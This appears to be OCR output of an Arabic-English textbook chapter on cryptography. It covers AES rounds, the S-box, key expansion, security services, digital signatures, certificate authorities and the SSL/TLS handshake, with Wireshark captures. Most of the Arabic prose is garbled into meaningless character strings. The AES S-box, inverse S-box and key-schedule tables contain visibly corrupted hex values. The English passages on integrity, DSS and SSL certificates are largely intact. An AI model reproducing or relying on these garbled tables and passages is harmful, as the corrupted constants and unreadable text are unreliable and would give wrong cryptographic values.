Initial Transformation JI 5 4513 skl -
P e il oda (s ROUN JS'. &0z “9 rounds™ (3 Block J1lda J g5 o 5 451 5 gl -
JobB s e IS Ay Sllee Y 1a State JI 43
.Ciphertext JI Lsua peod d5lgdi Round JI a5 &Ll g 5 -
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Plaintext—16 bytes (128 bits) Key—M bytes
LT rrrrrrsd HIEEEEEEEEEEEEEEn
Input state Key
(16 bytes) Round 0 key (M bytes)
(16 bytes)
| Initial transformation }
State after
initial
transformation
(16 bytes)
Ronndll Round 1 key -
(4 transformations) (16 bytes) 'é
«
=
@
g;
Round 1 £
output state
(16 bytes)
L ]
L]
]
Round N - 1 R"‘:‘;gg ) l)key
(4 transformations) yres
Round N-1
output state
(16 bytes)
Round N key
Round N (16 bytes)
(3 transformations)
Final state
(16 bytes)
HIEEEEEEEEEEEEEEN
Cipehertext—16 bytes (128 bits)
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AES- JI Ludszul L5Y 1da s dinitial transformation Ji & (10) lasde Laar ROUNAS JI o 0T La>D

12 RoUNdS e Al (3 tpes AES-192 Ul plutiial; Luad 15,128

gl e S “Key Expansion” lgJe J,U:j el 21 e Aol 8 Cipher Key JI =8 AV e
Key JI o «(9 Rounds) JI Jq—T o2 W A Vj «Initial transformation JI r.b:.%f JsY1 «(11 keys)

Final Round Ji T :e Y1

il cyo v st Cipher key Ji State JI cye &, daladd) o1 1 12 Sl oY1

The State Matrix Processes
oI Key Jl z Y o5 Al lhenll e s o SI (Encryption Process Ji e La 55 AL p s

oY ghmit p sy patl ilas b galidinal bl g e s Lin s cROUNG S
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State EE Cipher key o
@ initial
(AddRoundKey ) round
Ly
(_ 1-SubBytes )
|
( 2-shiftRows ) o
|
(3-MixCo|umns) Round key 0 main
|
(4-AddRoundKey) & rounds
.7
( SubBytes )
C Shifthows ) Round key 10
' final
(Addnindxw) R Saptag)

www.formaestudio.com/rijndaelinspector

<9 Rounds J laas, State JI 5 a5 | .1 225 AddRoundKey JI e initial round Jol @\j 9
0¥ 5 . MixColumns Ji 3das v ¥ 5= V1 Round JI (35 .Round s 3 &lee ol glast o)1 0k Led o

Rounds Jieda e ST il La
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Initial round
2 XOR fon; o 5i:5 <Key Expansion Jlalds 3 JsYiKey JI sl o s et ".l;iwz;

KU ek | S State Matrix JI o 5

State Cipher key

x4 e G rd 30V & o 1Sa 5 (Key JIs State JI s IS e 3508 Jil 0 XOR JI 4155 024
.dsYIRound Ji ) J s 3 T State Matrix
:SubBytes JI ies 145 Eos ..RoOUN J 5 Jos OV Ll imtis

:0Y1 g A% S Lle SubBytes JI ke o s&] initial round Ji ¢, 25! State Jl o sl

EA | 04 | 65 | 8 87 | F2 | 4D | 97
83 | 45 | 5D | 96 EC F6E | 4C | 90
5C | 33 | 98 | BO = 4A | C3 | 46 | E7
FO | 2D | AD | C5 8C | D8 | 95 | A6
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$U s &35 Gis

SBOX U jonms sk 0 e Llia> Thyte o State JI s byte S &sls <k uil..

£..5-Box J! lials

AW dmiall G odd Y 2T X g2 ) oS sl e 55l &)

i 05555 A LIl ool J gl Ul B 2l X soull ] J5diww “EA” a5 byte J sl G Steas

o) Y g p g Wl oy ALl Biall 3 o)l 8 sinall (§ Bl Il (3 el 15 877 o ol
Jul Sl . Lat Inverse S-Box JI ) bt Qs el 6B Bl (§ A0S OF it ¢t U

50,0 | So.q [ So2 [ So3
S1,0 *1l 12 | S13
320 | 52,1 | 822 | 823
S30 [ 831 | $32 | 833

Lol J\J.:“M»:_Y\ 4.:1.@.9 C.,&ﬁ
).'
> |
S-box 500 | oY | So2 | So3
1 s' 1 1
51,0 Lk > 813
14 ' 1 1
520 | S2,1 [ 522 | 523
T lJ 1 1
830 [ 83,1 | 532 | 933
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y
0 1 2 3 4 5 6 7 8 9 A B C D E F
63 | 7C | 77 | 7B | F2 | 6B | 6F | C5 | 30 | 01 | 67 | 2B | FE | D7 | AB | 76
CA| 8 (C9|7D |FA | 59 | 47 | FO [AD | D4 | A2 | AF | 9C | A4 | 72 | CO
FD [ 93 [ 26 | 36 | 3F | F7 |CC | 34 | AS| E5 | F1 | 71 [ D8 | 31 | 15
C7

23 [ C3 [ 18 [ 96 | 0S | 9A | 07 | 12 | 80 | E2 | EB | 27 | B2

83 ([2C (1A [ 1B | 6E | 5SA | A0 | 52 | 3B | D6 | B3 | 29 | E3 | 2F

D1 | 00 |ED| 20 | FC | Bl | 5B | 6A | CB | BE | 39 | 4A | 4C | 58

DO | EF |AA|FB | 43 | 4D | 33 | 8 [ 45 | F9 | 02 | 7F | 50 | 3C | 9F
40

13

B8R

AL

51 | A3 8F | 92 | 9D F5 | BC| B6 | DA| 21 | 10 | FF | F3 | D2

38
x CD | 0C EC| SF | 97 | 44| 17 [ C4 | A7 | 7E | 3D | 64 |SD | 19 | 73
81 | 4F |DC| 22 [2A | 9 | 88 | 46 | EE| B8 | 14 | DE | 5SE | OB | DB
EO | 32 |3A|0A | 49 | 06 | 24 | 5SC | C2 | D3| AC| 62 | 91 | 95 | E4 | 79
E7 | C8 | 37 | 6D | 8D | DS | 4E | A9 | 6C | 56 | F4 | EA| 65 | TA | AE | 08
BA| 78 | 25 | 2E | 1C | A6 | B4 | C6 | E8 [ DD| 74 | IF | 4B | BD | 8B | 8A

70 | 3E | B5 | 66 | 48 | 03 | F6 | OE | 61 | 35 | 57 | B9 | 8 | C1 | 1D | 9E
El | F8 | 98 [ 11 | 69 [ D9 | 8E | 94 | 9B | IE | 87 | E9 | CE | 55 | 28 | DF
8C | A1 | 8 [ OD | BF | E6 | 42 | 68 | 41 | 99 | 2D | OF | BO | 54 | BB | 16

(a) S-bOX Source: Ref(7)

Him|OlA|m| Ple|ln|wauns|lwin=]o
=)
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0 1 2 3 4 | 5 6 7 8 9
52 |09 |6A | D530 | 36 | AS| 38 | BF | 40 9E | 81 | F3 | D7 | FB
7C | E3 |39 (8 |9B | 2F | FF | 87 | 34 | 8E 4 | C4 |[DE| E9 | CB
54 |7B| 94 |32 |A6|(C2| 23 |3D|EE|[4C | 95 | 0B | 42 |FA| C3 | 4E
08 [2E | A1 |66 | 28 (D924 |B2| 76 |5SB|A2| 49 |6D | 8B |D1| 25
72 | F8 | F6 | 64 | 86 | 68 | 98 | 16 | D4 | A4 [ SC |CC | 5D | 65 | B6 | 92
6C| 70 | 48 | 50 [FD|ED| B9 [DA|S5E | 15 | 46 | 57 | A7|8D | 9D | 84
9 | D8 | AB| 00 | 8C | BC | D3 | 0A | F7 58 (05| B8 | B3| 45| 06
DO|2C (1E | 8F |CA|[3F |OF | 02 | C1 BD| 03 | 01 | 13 | 8A | 6B
3A | 91 | 11 | 41 | 4F | 67 |DC|EA | 97 CE| FO | B4 | E6| 73
9% |AC| 74 | 22 | E7 |AD| 35 | 8 | E2 37 | BE8i| 1€ |75 | DE| 6B
47 |F1 |1A| 71 (1D | 29 | C5 | 89 | 6F 62 | OE |AA| 18 | BE | 1B
FC| 56 |3E (4B | C6 | D2 | 79 | 20 [9A |DB| CO | FE | 78 |CD | 5A | F4
1IF |[DD| A8 |33 (8 (07 |C7|31 | B1|12| 10| 59 | 27 | 80 | EC| S5F
60 | 51 | 7F (A9 | 19 | B5S|4A (0D |2D | E5 |7TA | 9F | 93 | C9 | 9C
AO| EO (3B |4D|AE|{2A | F5 | BO| C8 |EB BB |3C | 8 | 53 | 99 | 61
17 | 2B | 04 | 7TE ([BA| 77 | D6 | 26 | E1 | 69 | 14 | 63 | 55 | 21 | OC

(b) Inverse S-box Source: Ref (7)

B|C|D|E]|F

S8 >

|35
-

mimlglalw(Ple|le|wla|ln|s|lvw|in|~|o

“Confusion” J! T.L; Gadad e j&j LY :',.a- «SubByte JI d> s -0 gl

Solws Sds fa

Wl Al U ) e 0V
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ShiftRows

%\hj‘gmbytewo&:fmé@gwlrowd\wbytedjtp;r}i;f‘ﬁ\‘édjmrowd\ﬂi:\;,;

dale0[p71e b8|le| |d4|e0|bs|1e
B o [bdTal 4127 || bf b4 41|27
11|98 5d|52 e598 5d5211(98
ae|fl|e5|30 ae|fl 30jae|fl|e5
50,0 | 0.1 | 0.2 | S0.3 m 50,0 | S0.1 | 0.2 | S03
S10| 511 | $12 ] $1.3 — N —— ., S11| 812|513 | S1.0
PERS N
$20|S21 | S22 | S| | [ | |7 |s22]%23|520] 52
S S
530|531 | 932 [ 533 — | | | l | — §33| 830 | S3.1 | 532
g
(a) Shift row transformation
87 | F2 | 4D | 97 87 | F2 | 4D | 97
EC | 6E | 4C | 90 6E | 4C | 90 | EC
4A | C3 | 46 | E7 — 46 | E7 | 4A | C3
8C | D8 | 95 | A6 A6 | 8C | D8 | 95

s I 2 bytes 5 25 I TOW J1 o e < Je VL e g 5o S SLI ) 2N 281 213
nnd) s W a1 ISNI byte 1 J= N1 byte 1 & o ol row J1 2 (W15 ISNI g2
AL Bl B piall fe o]
SftROW I Lg-s 55 s <355 S-DOX Ul Lede Ll 1 State Il e 5 ool e KA1 Ji] o5 15 goall *
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“Diffusion” JI Tad 5.l el eds ShiftROWS I iles 51 >

:MixColumns JI &> ,» J] Jazd La

MixColumns
4 £ . . 2 " . .
3835 535 Layl “MixColumns Matrix” JI s 5 #1 & siual, State JI & pauai o 55 ik Jall s 3 o

. [T St - F A SRR
SDiffusion” Il Gudas s dJi3) odas 0L

>
231
1.2 3 1
>1 123
3112
Y Y Y Y
S0.0 | 0.1 | S0.2 | 0.3 50,0 | $0.1 | 562 | 503
S1.0 | 511 | S12] 513 Sto| St Si2]| 513
S20 | 2.1 | 522 | 823 20 | 821 | 522 | $23
530 831|532 | 933 530|531 | 532 | 833
(b) Mix column transformation Source: Ref (7

‘MixColumns Matrix JI ;s o (3 4 2w State JI (e 5 soe S 0T S0 e
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02 03 01 O1||soo So1 So2 503 500 S01 S02 S03
01 02 03 01 |[s0 S0 S12 S13| _ | S0 S11 Si2 S13
01 01 02 03||sy Su S22 %3| |Sho S Sha Ska
03 01 01 02 [s30 s31 $32 33 L8350 31 S32 33

Ly Lol B e LoV o el La

87 F2 4D 97 47 40 A3 4C
6E 4C 90 EC 37 D4 70 9F
46 E7 4A C3 — 94 E4 3A 42

A6 8C D8 95 ED A5 A6 BC

«S-box JI J sl Ledseu! &> SubBytes JI VALJT SIS s 15 GO uag State JI e Lla> 43
533 gb V15 .MixColumns JI 4] Wiy a5 (Diffusion Ji wlaks 41 ShiftRows Ji 4] Lss o

L2 (Round I 1A 5 1Y 1y daol J > L

AddRoundKey
“Round Key 17 JI ws £ |1 L on 0 2201 Statte [ XOR Joms p 585 o

fRound Key 1 JI ldals
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L3l Key Expansion Ji lee M 1o &l o5\ Cipher key JI s il o3 U1 Key J1 &)
- Jeld dny

iz 55l 6 A1 8 e s 5 axd ) Round 11 e S Block JI s e J sl o Bl 3
ROUN 9 JI 3] J 30 1 = iS5 <ROUND 2 J1 15 ot Y1

47 | 40 | A3 | 4C AC| 19 | 28 | 57 EB | 59 | 8B | 1B
37 | D4 | 70 | 9F 77 gEas D1 ESe 40 | 2E | A1 | C3
94 | E4 [3A |42 | @ |66 |[DC| 29 | 00 | = | F2 |38 | 13 | 42
ED | A5 | A6 | BC F3 | 21 | 41 | 6A 1E | 84 | E7 | D6

urce: Ref (7)

State JI o 5508 JS d o2 S RoUN ey 1 1 State J1 Gy Juolhl ol 2D s 5 JS5 Lo
Key I 4 ol yordl o  XOR s s

www.formaestudio.com/riindzelinspector
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Bold) 5 sl | climal Loyl ool sl f ol L,Jaf s sliRound J1 g o col o et ROUN J edin 1 S5 p 585
.MixColumns Ju

.Cryptosystem JI Iia « J@,j Key Expansion JI ] |a=d La <Encryption process JI &g Lo 5 1)

Key Schedule
16 bytes s & 4SG & sams & 5,Le 525 Cipher Key JI J=L "Key Expansion Algorithm" JI La Tus

.176 bytes 'C)ij Linear Array < a3l st gk “:1:5
il 5o 11 =Y 16 bytes o &3S0 & ghas plduioin Wl ey (16 g5l 0550 11 e 176 JI ddndys
Jleda (8 key J s Cipher Key J! J:J :M> «(Initial round + 10 rounds) .!4, ,\li Rounds JI .»

Keys JI L4 4 %Q o -nitial round JI 3 PREEW o= linear array

o) La

QW) Sl e oG
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www.formaestudio.com/riindaelinspector

Figure 5
Loy sioel 5722 e 0585 Jsts JawYU >3 5 cAloddl odis (3 2 5aas J 515 Cipher Key JI' W gl

5 2l cye ROUND Key JSJ adas Yl oda cyo 3 505 psis i fo I

Al M oda gl 3
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5

ey S Wit By s 5 gl 04503 Wi JU k) Round Key Ji e 3 g I e el &
.(figure 6) L}L:H Jsad
1%z Round Key IS oy 5 sae sl (2555 Jig La )| S5 o el shast Gla Ly o sl

Ll e e 055G el sl | oda
Wi-1 Wi

i 1 2 3 4 5 ’ 7 3 1 a|lble d | « 1
& [ 7c |77 | b [tz [ & [ &2 | o5 | 30 [o5 [47 [ 35 | 2w | [ an | 76
1 T2 | ot | 7 | ta | %A | a7 | 0| wd [ 38 | a3 | st | o | ws |02 | o0
2|57 | 24 |93 |26 | 36 | 38 [ £7 [o= | 33 | =% [ws [ €3 | 7L |38 | 31| 15
IR DI R I R R R R B R A R A R
AP |2 | la [ b Fe [So|an |52 [&[dF [E5 | 8 el [
S| S5| St |08 |wd [ 20 [ dc |E1 | SE | fa [eo [bw | 39 | 4a [ & [ 56 | =t
Gl et Jaa JebJasfadfos[aesfasasJoz|t[SafSc]n]a

Y 3 NS SN CEN BTN CEN BN ST I I I DY TN T T N
Alcd | o |10 |mo [ St % [ad|i7|ot [al [ de|dd| ki [sa]ia] 73
L0 | EL J S J S 22 Za 9D | 66 | 45 Joe [LE | 18| e |Se | B0 &
aled | 2 2|0 |So[R[dDd]e]|2]0 ][5 ]es| P
Elwr | o8 [T [A [ 8|5 | 3w [ @9 | b [ 5F | 14 [wa | 65 | 7e | m loa]
c | Sa| 8 | 25 2@ | oc| ok | B4 | oh [ ea |42 | 76 | 22 | 45 | ba | &5 80'
A0 | e |65 Ak [ 48 | 00 | th | Be [ 6L | 35 | 57 [ A | 65 |01 | sap ey
elei @[ ul[N|[se|W]|wllels7]eda]on]s ECH IETH |
glfc|al [p3foafatfes Jaz|eafaLJosfadfarmfsdfen]is)

w.formaestudio.com/riijndaelinspector

Figure 6
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L &3 Zl s 215Y (35 L ¢ Jaw Tl andis (09) ya5 5 sasdl a3 byte J5T dsT 0T oo 451 5 ik
(figure 6) 6 15, ¢ s JSl 3 Wi-t J1 Gys il 5 sanll 3 236 1S  JoY)

SHaS 1S i e LdS5 1 S-BOX U1 n (55T gy 3 sl 1o o byt JS o5 oo 3501 3 sl
.SubBytes J| iJ.s 5 S-Box JI (figure 6) 6 o) Jsds s L.,a.:‘ .“SubBytes” g le

Wi-4 Wi-1 Wi

8a 01
@ 84 @ 00| wm
—
eb 00
01 00
Rcon(4)
02|o4|os]|10|20[40]|80]1b(36
oo|oo|oofoo|oo|oofoojoo|oo
oofoo|oo|eofoo|oo|oo]oo]oo
oofoo|oojoofoojoo|oofoo]oo
vw.formaestudio.com/riindaelinspector
Figure 7
Cryptography
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IS G 4 1S ROON I ¢y J5Y1 5 sanlls Wikt J1 e JS 5 5 50301 ik XOR a5 o &l 5 gl
Round Key 1 J1 35 sas Il e lugsil 18 055G 1o 5 Aol iminall 3 (figure 7) 7 3,

Codas] SN 18 JoSCw S

XOR a3 p 5 25 (W) ganion 11 423 555 o 5LLall 5a 5 roUNd key 11 G GUIs sadll Jo i L
(Fig8) 8 o3, (Wl JKalb IS stas m)b TSV RPySP A Al ol sseil o
.Round Key 1 JI st df My Joad - wl J1 s SIS gondl ms XOR Jlolin S5 10

Wi-4 Wi-1 Wi

.

88

- |54

2C

bl
www.formaestudio.com/rijndaelinspector

Figure 8

e 3 goe sl 0 5SS Ol shast e (IS (Round Key 2 J s o3
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s Sis J» (Round Key 1 J1 G 5 e Il 0 55 i o ) ol a1 S p 23
Jal d] JeYIByte I & a5 RotWord JI <s1S s ghast J5f - ™
.S-box JI el SubRows Jeslsisel, =
Wi-a Jis Reon di 5 5 senll 1e (p XOR Jl e 2 21,
(Round Key 2) JI 3 5 soe J 51 (o Ligil 48 055G Lo s . (Figure 9) ... Jul1 Jadl "2l 5 slaik | glis

Wi-4 Wi-1 Wi
23|2a
a3|6c
39|76 o
39(05
50 02
@ e >
6b 00
e5 00
Rcon(8)
04|08|10|20/40(80]1b|36
go|oo|o0|00|0O|0OJO0 |00
Qojoo|oo|o0|00|00j00]|00
go|oofo0|o0|0O0D|0O}j00|00O
formazestudio.com/rijndaelinspec
Figure 9
Cryptography

[327]



Understanding Hacking and Information Security ylagleall alg dyi9052l8 dmgall

i ol skl s e 5 A1 peall any L s
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that is different for each round.
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y |
read contents of
message from Bob
to Alice

Darth

Internet or
other comm:s facility

Integrity
P VIR PACHH W V% WAL BREVS:

Integrity Assures that messages are received as sent with no duplication, insertion, modification,
reordering, or replay.

“Replay” J! ldals
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Darth Capture message from
Bob to Alice; later
replay message to Alice

Internet or
other comms facility

Authentication
'9(_?'5 L..gi ji BJ@}P‘}“ ji uﬂ[}r—»jw\ ai).lh P &3};’;‘\ 2.:.1.«.9 :\.lal.w.u oda

tidandl 0dd Je Lbe
“Hi, I'm Bob!”
-
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- pp

“Hi Bob, good to talk to you again.">
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Fingerprint recognition

Palm of hand

Nonrepudiation

provides assurance to the recipient that the message was actually originated by

the sender and not someone masquerading as the sender. It prevents the sender from claiming
that they never sent the message in the first place

“it prevents ether sender or receiver from denying a transmitted message”
¢..Masquerading J! 1dals
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:Masquerading Attack J! s LSRN

Message from Darth
that appears to be
from Bob

Internet or
other comms facility

(a) Masquerade Source: Ref (7

.Symmetric Cryptography J! U Las;ff Y -Nonrepudiation- {wo | oda

1A Byl s Bl Il 1al5 e Koz Shared Secret Key J s cllzey ased gl il £

Because any communicating party can encrypt and decrypt messages with the shared secret key,
there is no way to tell where a given message originated.

Asymmetric Cryptography Ji 4| (s 515 ;s 5 g La.. 0V
..Asymmetric Cryptosystem J! -,s {..&) Ls
L W 52 & 150 0Vl o i) o aldll e 4 pmys

.Confidentiality, integrity, and Nonrepudiation
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Digital signatures can provide the added assurances of evidence to origin, identity and status of

an electronic document, transaction or message, as well as acknowledging informed consent by
the signer.
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[a— ciphertext S

_— Y=E[ PRb, X] 1
Plaintext Plaintext

::nuix Encryption algorithm Decryption algorithm oultn :r
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Integrity Assures that messages are received as sent with no duplication, insertion, modification,
reordering, or replay.

§ “Cryptographic Hash Functions” JI 5156 &3 o |a NP
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Understanding Hacking and Information Security

Step 1. The user logs in with his
username and passwaord.

Step 2. The server retrieves the
corresponding stored hash and
salt values far that username
from the credential database.

Step 3, The server concatenates
the passwaord provided by the
user with the retrieved salt, then
computes a hash of this value,

Step 4, If the new recomputed
hash matches the hash
retrieved from the credential
database, the user is
authenticated.
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O
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Digital Signature Security Standard (DSS) is a technology for creating digital signatures that was
developed by the National Security Agency and adopted by the United States government as its
digital-signature standard. DSS defines the Digital Signature Algorithm (DSA), DSA does not
encrypt message digests with the private key or decrypt the message digest with the public key!.
it uses special mathematical functions to generate a digital signature composed of two 160-bit
numbers (s & r) that are derived from the message digest and the private key. Then it uses the
public key to verify the signature.
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sobendl Lo 80l o ¢l Ly Public Key Authority JI a5 Trusted Third Party 5, b - e

Autority Jb Ll ale x5l 510 b (6l me Jol A G LI L i,e JS el > LI
REERIICARIEHPON TR

I3 Lt b Jool 531 G31BSU Certificates J o =5 . Certificates JI plasciuly 231 1ds e NEe] o
-Public Key Authority JI I3 ol sld & U1 O 55 Public Keys JI
:Certificate |15 ol jaflad! jhe ods
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des A Gl Sl Je W e ¢, Certificate JI el 3 adats A wo folyn Sk Y
4 Lol Public Key JI

Certificate Jl o.» 0 oo aSTl iney Certificate I o4 255Ul Authority JI cye il sy G b (s
SEHp AT

Lkl i el g el (CRHICAte Jl o S o oy o ool 5] et 5
S oS Sl Bl s s Dl i SV @15 ns e lomiaadl a5 1S (ol gl

-
-

NiMall dgx Certificates JI of Lo &g S

pg

Certificate J| u,u£ 41 -Lis) ides Certificate Authority ) L 34 .
:Certificate Authority JI » 4 LoU-| Certificate I ke vge JS J sa> Bloe oo QI UK a5

Certificate

/ Authority \
PU, / \ PU,

Cy = E(PRyym, [Ty 11 ID4 1| PU,)
Cp=E(PRyym, [T> 1 IDg Il PUp])

(a) Obtaining certificates from CA
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Public Key (PUauth) Ji L)l o e 5855 «CA JI ] 4 o2& Public Key JI dLu b el o s
I Bl 58 gy ol gl | oo 85 st Gordany CA I s kgl sLts] Bas o5 25 ] e old!
ID 51 ol (o pasetdl s UL Loy PUBUEY JL 35023 Dlay B e ¢ K20 gl |S 15 sl
5o 56 e i field sa 5 (Timestamp (T) oo T o35 e okl Public Key i e ol
8slgidl odd Currency JIi cpe Gasel) (.J:w.l\ Skl |3 e ) sslgadl

Lol Certificate J) asdal die G ,b (gl daul o5 ) Decryption Ji ikes e o &JUI sl
A G LI

D (PUauth, Ca) = D (PUauth, E (PRauth, [T || IDA || PUa])) = (T || IDA || PUa)

sslgadl ULy 43, o Sezd Authurity JU o1 Public Key JI el W Decryption  foas o s

A G LIL o Public Key I

CAJI i opo sl s Certificates JI S LY sl e g S

(1) Cy

/ \
\ 2) c,,——-——'/
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Inside Secure Socket Layer (SSL)

sl U35 .3 Y e Browsers Jis Web Servers JI o <ULl s  TLS JI 51 SSL JI pdsi

LU J5L VJ oo L s Il el 3 Zodizdl Algorthims Ji g1l e sl g G313 oy

&

olb

info.ssl.com o3 5o 1y ais dny o dodits Jolo

SSL is the standard security technology for establishing an encrypted link between a web server and a
browser. This link ensures that all data passed between the web server and browsers remain private and
integral. SSL is an industry standard and is used by millions of websites in the protection of their online
transactions with their customers.

To be able to create an SSL connection a web server requires an SSL Certificate. When you choose to
activate SSL on your web server you will be prompted to complete a number of questions about the
identity of your website and your company. Your web server then creates two cryptographic keys - a
Private Key and a Public Key.

The Public Key does not need to be secret and is placed into a Certificate Signing Request (CSR) - a data
file also containing your details. You should then submit the CSR. During the SSL Certificate application
process, the Certification Authority will validate your details and issue an SSL Certificate containing your
details and allowing you to use SSL. Your web server will match your issued SSL Certificate to your
Private Key. Your web server will then be able to establish an encrypted link between the website and
your customer's web browser.

Typically an SSL Certificate will contain your domain name, your company name, your address, your
city, your state and your country. It will also contain the expiration date of the Certificate and details of
the Certification Authority responsible for the issuance of the Certificate. When a browser connects to a
secure site it will retrieve the site's SSL Certificate and check that it has not expired, it has been issued by
a Certification Authority the browser trusts, and that it is being used by the website for which it has been
issued. If it fails on any one of these checks the browser will display a warning to the end user letting
them know that the site is not secured by SSL.
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Application JI ;. Socket 2} fess s¢6 . TCP I G 5 G «Transport Layer JI 3 33 SSLJI J S 555, Jos

Jed IS 55,8 TCP I e dozas 1 Applications [J JLasy! el o5 «Transport Layer J! s Layer

JWI Sl ¢k, |s Data JI

HTTP FTP

SMTP

SSL or TLS

TCP

IP

JI J& ilee & TCP JI e dozmys (HTTP JIS Application Layer Protocols JI dsa5 SSL I o5&

.Browsers Ji s Web Servers Ji :,» Messages

SSL SSL Change
Handshake | Cipher Spec Bt e HTTP
Protocol
Protocol Protocol
SSL Record Protocol
TCP
IP
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est SSL Il dday T .0V
S VRNt B R WO [
Y ol gl Gass b 3 SSL
3 Jass <5 1..Single Protocol
A S TCP Ul G ourd
sany JSE U elad Ll ey

cdjsjsjj)ﬂ RO ol wa\
“SSL Protocol Stack”



stk JRial LSS
SSL Ul et 53 N S 55 36 Jo3 15 #Y15 «SSL Record Protocol J walu~] «(Two Layers)

- k)l (u Message Exchanges Ji ides 5 15)

1ol e Je Connection JI sLis] o
.Handshake Phase JI a5 Js¥1dl> 1| =

.Secure Data Transfer Phase “a sl d> LI =

Handshake Phase
JI ¢ 55 J > (Negotiate) 5 5Ll 5 Server Jis Client JI oy Authentication Ji ides d> U oda 3 o5

Data JI Jlus ) cpals 4 idsedl Keys J! y Cryptographic Algorithms

-Server Ji Client I oy dl> U ods IV o5 I Messages JI e 5 JS ks

.o Negotiation JI y Authentication J| ides e J 550 La Handshake Protocol Ji ux
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SSL Client S5L Server

Internet .

Handshake Protocol
Handshake: Client Hello

.
Handshake: Server Hello
-t
Handshake: Server Certificate
B ]
Handshake: Server Key Exchange (Optional)
-
Handshake: Client Certificate Request (Optional)
-t
Handshake: Server Hello Done
-t
Handshake: Client Certificate (Optional)
-
Handshake: Client Key Exchange
-
Handshake: Client Certificate Verify {(Optional)
-
Change Cipher Spec
-
Handshake: Client Finished Message
-
Change Cipher Spec
-
Handshake: Server Finished Message
-
Record Protocol
Application Data
- -
Source: network baseline blog

“Client Hello” JI a5 Message JL T

Cryptography
[394]



525 Mg dleda dlus| s b (e Web Server JI s Session Ji +.u; s Client (Browser) Ji p 53,
gV
Version

The Client sends the version number that it supports. For example, for SSLv3, the version
number is 3.0. For TLS, the version number is 3.1.

Random
&)< Connection J’.{J Client Jiy Server Ji s IS o ;12 26 Byte -0 0355 Sl yie 2o oe ke

Session ID (if any)
This is included if the Client wants to resume a previous session. If the Session ID Length is 0, it
indicates a new session.

Cipher Suite
This is the list of cipher suites that are supported by the Client.

ol o 2% Cipher Suite 1 s e 53 JsS 5
(TLS_RSA_WITH_DES_CBC_SHA)

TLS is the protocol version, RSA is the algorithm that will be used for key exchange, DES_CBC
is the encryption algorithm, and SHA is the hash function.

¢..DES Cryptosystem JI ~s fls&mi\ CBC JIldals U4
& L=l 8345 5,4 Blocks of Data JI s 3 a2 11 “Modes of Operation” J| C\)ﬁ Jl a1 &)
.Ciphertext JI s Plaintext JI &y 48!

.WireShark Ju Leb ) (.5 “Client Hello” J J Ll
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B Secure Socket Layer

E TLSvl Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
version: TLS 1.0 (0x0301)
Length: 176
= Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)

Length: 172
version: TLS 1.0 (0x0301)
= Random

gmt_unix_time: May 12, 2010 11:54:39.000000000
random_bytes: B1FFBC9661150D8D54CEBD0778D708ACOB4EL244364AFCACS. ..

session ID Length: O

Cipher suites Length: 72

= Cipher suites (36 suites)

Cipher suite: unknown (0x00ff)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088)
Cipher suite: TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0087)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Cipher sSuite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
Cipher suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA (0xc00f)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA (0xc005)
Cipher suite: TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_RC4_128_sHA (0xc007)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite: TLS_ECDHE_RSA_WITH_RC4_128_sHA (0xc011)
Cipher sSuite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc0l13)
Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045)
Cipher suite: TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0044)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)

1235 PFS Jl ol ooy browser JI i Of cipher suites Jl o &5 ol pladl IS s s
(Perfect Forward Secrecy)
.(DHE and Elliptical DH) x» (e 5 4 sl elae] o U3

v LS s s sda c e Codetow
Jols s & o
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Client JI “» s Handshake Type Jis (Handshake JI s s ‘flsai\ S5l Bl el g By

Loy Session Ll s G " as" Lad s Session 1D JI (Zj «Random JI ; Version JI La,l <Hello

# [

Web JI Le Browser Ji Lo a2 I Jladl 5T oY1 a5 Ul Il oda (§ Parameter ol U L 1o
S Al g L Browser JI ¢34) s Cipher Suites JI eda e 515 )Ll Server Ji g 54 S Server

““Server Hello” JI a5 (el

‘WireShark Ji Lgb el o5 Server JI & b 0 4e56 Hello ¢ 55 . Message Lo

Secure Socket Layer
= TLSwl Record Layer: Handshake Protocol: Server Hello

Content Type: Handshake (22)

version: TLS 1.0 (0x0301)

Length: 74

= Handshake Protocol: sServer Hello
Handshake Type: Server Hello (2)

Length: 70
version: TLS 1.0 (0x0301)
= Random

gmt_unix_time: Aug 21, 1993 21:03:18.000000000

random_bytes: 2986353573E24C5EFCA43B8B6CCB04E3300B4553CEQ2021B2. ..
session ID Length: 32
Session ID: 1CE394AC0ODALB3C061770630CFCOBDOGEEE4 80A23ACCDEEE. ..
Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
Compression Method: null (0)

tdile I oLt g peiid 5 ¢ oAl T Lat L o6 Web Server J1 01 oY1 S ladl (8 150

The long-term keys are used both for the server’s authentication and for the session key
generation by means of RSA key exchange mechanism.
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JIlia S35 PFS Jl ol pess A Jsladl dol sl 4l olslae ¥l fas o L server JIOf gy 1
PFS JIs 2  ae oo LY seIVEr JI 65l 511 cipher suite

.Hello Message JI _» s Handshake Phase JI (3 & sha> Jl 455 e

15 sl oda U janll |2l s

Client Server

Client hel
~Nello
\ Establish security capabilities, including

protocol version, session ID, cipher suite,

hello compression method, and initial random
server—
: numbers.

“Authentication and Key Exchange” JI "a 5 Phase JI 1da (§ 43118 lad| ] fazew

